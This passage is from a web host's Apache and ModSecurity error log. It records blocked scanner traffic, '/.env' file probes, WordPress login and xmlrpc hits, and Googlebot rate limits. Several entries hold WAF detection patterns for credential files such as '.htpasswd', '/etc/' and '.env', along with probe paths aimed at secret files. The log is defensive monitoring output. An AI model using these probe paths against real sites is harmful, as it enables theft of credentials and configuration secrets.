"390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/nuxt/.env"] [unique_id "ai3zL9yTkdrNlD40tSGxpAAAAEs"] [Sat Jun 13 18:17:51.717491 2026] [security2:error] [pid 648189:tid 648481] [client 173.239.211.61:35143] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.211.239.173.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.saleclenbuterol.com"] [uri "/wp-login.php"] [unique_id "ai3zL1WSojQL4F7upKBpKwAAAP8"] [Sat Jun 13 18:17:51.758107 2026] [security2:error] [pid 646876:tid 647009] [client 185.177.72.9:30676] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/o.php"] [unique_id "ai3zL9yTkdrNlD40tSGxqQAAAAE"] [Sat Jun 13 18:17:51.765819 2026] [security2:error] [pid 648189:tid 648292] [remote 17.22.245.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zL1WSojQL4F7upKBpMAAAhkY"] [Sat Jun 13 18:17:51.812713 2026] [security2:error] [pid 646876:tid 646921] [remote 17.246.19.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zL9yTkdrNlD40tSGxqwAAKio"] [Sat Jun 13 18:17:51.859861 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:17:51.860207 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:17:51.925384 2026] [security2:error] [pid 648189:tid 648268] [remote 17.246.23.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zL1WSojQL4F7upKBpNQAAji4"] [Sat Jun 13 18:17:51.955912 2026] [security2:error] [pid 648189:tid 648233] [remote 17.241.219.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zL1WSojQL4F7upKBpNwAAjw0"] [Sat Jun 13 18:17:52.020867 2026] [security2:error] [pid 646876:tid 647102] [client 185.177.72.9:30688] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/ocp.php"] [unique_id "ai3zMNyTkdrNlD40tSGxrwAAAF4"] [Sat Jun 13 18:17:52.288474 2026] [security2:error] [pid 648189:tid 648385] [client 185.177.72.9:30702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/of.php"] [unique_id "ai3zMFWSojQL4F7upKBpSgAAAKU"] [Sat Jun 13 18:17:52.302940 2026] [security2:error] [pid 646876:tid 647022] [client 66.249.77.68:47098] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "aaronwalsh.com"] [uri "/robots.txt"] [unique_id "ai3zMNyTkdrNlD40tSGxuAAAAA4"] [Sat Jun 13 18:17:52.305351 2026] [security2:error] [pid 646876:tid 647077] [client 66.249.69.130:43860] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "inirootsnculture.com"] [uri "/robots.txt"] [unique_id "ai3zMNyTkdrNlD40tSGxuQAAAEU"] [Sat Jun 13 18:17:52.319691 2026] [security2:error] [pid 646876:tid 647118] [client 66.249.69.198:49517] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "thehorsepowershow.com"] [uri "/robots.txt"] [unique_id "ai3zMNyTkdrNlD40tSGxugAAAG4"] [Sat Jun 13 18:17:52.336834 2026] [security2:error] [pid 648189:tid 648394] [client 66.249.69.41:47546] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "mail.celadondragon.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpUgAAAK4"] [Sat Jun 13 18:17:52.341718 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.2:45855] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:52.342030 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.2:45855] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:52.373101 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9ldmVudDUvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:17:52.373561 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9ldmVudDUvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:17:52.414700 2026] [security2:error] [pid 648189:tid 648284] [remote 114.119.157.158:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.torquayfans.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpVwAAuz4"], referer: https://www.torquayfans.com/robots.txt [Sat Jun 13 18:17:52.432888 2026] [security2:error] [pid 648189:tid 648435] [client 66.249.69.39:48063] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "mail.celadondragon.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpWAAAANY"] [Sat Jun 13 18:17:52.457575 2026] [access_compat:error] [pid 648189:tid 648273] [remote 57.141.14.63:36640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:52.458046 2026] [access_compat:error] [pid 648189:tid 648273] [remote 57.141.14.63:36640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:52.465557 2026] [security2:error] [pid 646876:tid 647067] [client 66.249.72.37:41126] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "pop.celadondragon.com"] [uri "/robots.txt"] [unique_id "ai3zMNyTkdrNlD40tSGxwgAAADs"] [Sat Jun 13 18:17:52.502872 2026] [security2:error] [pid 648189:tid 648393] [client 66.249.72.33:45217] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "ybflorida.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpXAAAAK0"] [Sat Jun 13 18:17:52.507758 2026] [security2:error] [pid 648189:tid 648485] [client 66.249.72.32:47052] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "pop.celadondragon.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpXQAAAQM"] [Sat Jun 13 18:17:52.515583 2026] [security2:error] [pid 646876:tid 647091] [client 66.249.72.35:54419] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "ybflorida.com"] [uri "/robots.txt"] [unique_id "ai3zMNyTkdrNlD40tSGxxgAAAFM"] [Sat Jun 13 18:17:52.517291 2026] [security2:error] [pid 648189:tid 648421] [client 192.178.6.72:51158] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "josephdarezzo.net"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpXgAAAMg"] [Sat Jun 13 18:17:52.524954 2026] [security2:error] [pid 648189:tid 648410] [client 192.178.6.6:41629] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpXwAAAL0"] [Sat Jun 13 18:17:52.552464 2026] [security2:error] [pid 648189:tid 648376] [client 66.249.69.164:51426] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "ftp.celadondragon.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpYwAAAJw"] [Sat Jun 13 18:17:52.559446 2026] [core:error] [pid 646876:tid 647058] [client 66.249.69.40:63436] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:17:52.559471 2026] [core:error] [pid 646876:tid 647058] [client 66.249.69.40:63436] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:17:52.567967 2026] [security2:error] [pid 648189:tid 648469] [client 66.249.69.137:61295] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "inirootsnculture.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpZgAAAPM"] [Sat Jun 13 18:17:52.636043 2026] [security2:error] [pid 648189:tid 648463] [client 192.178.6.10:39795] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpaQAAAO0"] [Sat Jun 13 18:17:52.642218 2026] [security2:error] [pid 648189:tid 648476] [client 66.249.77.68:56401] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "aaronwalsh.com"] [uri "/robots.txt"] [unique_id "ai3zMFWSojQL4F7upKBpawAAAPo"] [Sat Jun 13 18:17:52.698801 2026] [security2:error] [pid 648189:tid 648413] [client 185.177.72.9:30712] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/old/.env"] [unique_id "ai3zMFWSojQL4F7upKBpcgAAAMA"] [Sat Jun 13 18:17:52.706936 2026] [security2:error] [pid 648189:tid 648448] [client 63.135.161.135:28337] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 135.161.135.63.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.saleclenbuterol.com"] [uri "/wp-login.php"] [unique_id "ai3zMFWSojQL4F7upKBpbwAAAOI"], referer: https://wordpress.org/ [Sat Jun 13 18:17:52.718183 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.14:23294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:52.718475 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.14:23294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:52.833048 2026] [security2:error] [pid 648189:tid 648424] [client 185.177.72.9:30712] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/old_phpinfo.php"] [unique_id "ai3zMFWSojQL4F7upKBpfQAAAMs"] [Sat Jun 13 18:17:52.909129 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:17:52.909547 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:17:53.051841 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.45:53634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:53.052253 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.45:53634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:53.105924 2026] [security2:error] [pid 648189:tid 648234] [remote 50.87.144.107:57260] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.makulapictures.com"] [uri "/xmlrpc.php"] [unique_id "ai3zMVWSojQL4F7upKBpiQAA4Q4"] [Sat Jun 13 18:17:53.106145 2026] [security2:error] [pid 648189:tid 648447] [client 50.87.144.107:57260] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.makulapictures.com"] [uri "/xmlrpc.php"] [unique_id "ai3zMVWSojQL4F7upKBpiQAA4Q4"] [Sat Jun 13 18:17:53.246281 2026] [security2:error] [pid 648189:tid 648435] [client 185.177.72.9:30714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/oldsanta/.env"] [unique_id "ai3zMVWSojQL4F7upKBpmQAAANY"] [Sat Jun 13 18:17:53.359246 2026] [security2:error] [pid 646876:tid 647105] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation42.phpt"] [unique_id "ai3zMdyTkdrNlD40tSGx6gAAAGE"] [Sat Jun 13 18:17:53.379496 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:30714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/opencart/.env"] [unique_id "ai3zMVWSojQL4F7upKBpogAAAP0"] [Sat Jun 13 18:17:53.428222 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIwL2RldmljZToyMQ== [Sat Jun 13 18:17:53.428490 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 